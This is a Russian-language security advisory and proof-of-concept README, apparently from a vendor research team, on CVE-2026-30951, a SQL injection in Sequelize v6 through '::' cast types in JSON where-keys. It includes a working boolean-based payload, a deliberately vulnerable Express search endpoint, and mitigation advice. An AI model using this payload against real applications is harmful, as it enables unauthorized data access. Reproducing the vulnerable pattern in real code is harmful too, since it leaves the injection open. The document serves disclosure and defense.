
CVE-2026-30951 — Updated!
Sequelize JSON Cast SQL-инъекция
CVE-2026-30951 Sequelize JSON Cast SQL Injection
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
Обзор
CVE-2026-30951 — это уязвимость SQL-инъекции в Sequelize v6, широко используемом ORM для Node.js.
Уязвимость существует в обработке
where-условий JSON/JSONB. Когда Sequelize разбирает ключ JSON-пути, содержащий::, значение после::трактуется как тип SQL-приведения и вставляется в генерируемый SQL без должной валидации.Если злоумышленник может контролировать ключи JSON-объекта, передаваемые в
where-условие Sequelize, он может манипулировать генерируемым SQL-запросом.
Уязвимые версии
| Категория | Версия |
|---|---|
| Уязвимые | Sequelize v6.x <= 6.37.7 |
| Исправленные | Sequelize 6.37.8 |
| Не затронуты | Sequelize v7 / @sequelize/core |
Влияние
- SQL-инъекция через контролируемые злоумышленником ключи JSON-объекта
- Обход поискового фильтра через boolean-based инъекцию
- Непреднамеренное изменение условий запроса внутри SQL, генерируемого ORM
Окружение
Этот репозиторий содержит минимальное уязвимое приложение-задачу на Node.js, Express, Sequelize и SQLite.
Локальный запуск
npm install
npm start
Приложение запускается на:
http://127.0.0.1:9100
Docker
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker-контейнер запускается на:
http://127.0.0.1:9100
PoC
После запуска уязвимого окружения выполните шаги ниже, чтобы воспроизвести инъекцию.
Шаг 1. Отправьте обычный поисковый запрос
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Это вернёт только пользователей, соответствующих обычной логике поиска по имени.
Шаг 2. Вызовите boolean-based SQL-инъекцию
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Ожидаемый результат:
All user rows are returned.
Шаг 3. Подтвердите, что произошла SQL-инъекция
Специально сформированный ключ JSON заставляет Sequelize сгенерировать выражение приведения, подобное:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Поскольку тип приведения контролируется злоумышленником, условие OR 1=1 изменяет предполагаемое поведение WHERE-условия. Возврат всех строк из той же конечной точки поиска подтверждает возможность SQL-инъекции.
Анализ
Техническая первопричина
Уязвимость вызвана недостаточной валидацией типов JSON-приведения в Sequelize v6.
Внутри логика обхода JSON в Sequelize разбивает ключи JSON-пути по :::
jsonKey::castType
Затем тип приведения используется в генерируемом SQL следующим образом:
CAST(<json_extract_expression> AS <cast_type>)
В уязвимых версиях <cast_type> не экранируется безопасно и не ограничивается известным безопасным списком разрешённых значений. Это позволяет контролируемому злоумышленником ключу JSON выйти за пределы выражения приведения и внедрить SQL.
Опасный шаблон
Любой шаблон приложения, подобный следующему, может быть уязвим при использовании затронутых версий Sequelize:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Это опасно, потому что злоумышленник контролирует не только значения JSON, но и ключи JSON-объекта.
Почему это важно
Эта уязвимость особенно опасна, потому что многие разработчики предполагают, что построители ORM-запросов автоматически защищают от SQL-инъекций. В данном случае инъекция происходит внутри SQL, генерируемого ORM, после того как приложение уже передало структурированные JavaScript-объекты в Sequelize.
В зависимости от логики приложения эксплуатация может позволить:
- обход предполагаемых поисковых фильтров
- изменение булевых условий запроса
- изменение поведения SQL, генерируемого ORM
По своей сути это проблема CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Сценарий
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
Меры защиты
- Обновите Sequelize до 6.37.8 или более поздней версии
- Не передавайте контролируемые пользователем объекты напрямую в
where-условия JSON/JSONB Sequelize - Отклоняйте или нормализуйте контролируемые пользователем ключи JSON перед построением ORM-фильтров
- Используйте построение фильтров на основе белого списка вместо приёма произвольных объектов тела запроса
- Отклоняйте ключи JSON, содержащие синтаксис управления SQL или разделители приведения, такие как
::, если они явно не требуются - Предпочитайте определяемые сервером поля запроса, например:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Отказ от ответственности
Этот репозиторий предназначен только для исследований в области безопасности, защитной валидации и образовательного использования в контролируемых средах.
Не используйте этот PoC против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения.
EQST Insight
Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями.
- https://www.skshieldus.com/security-insights/reports?tab=eqst
- https://www.skshieldus.com/en/report?tab=eqst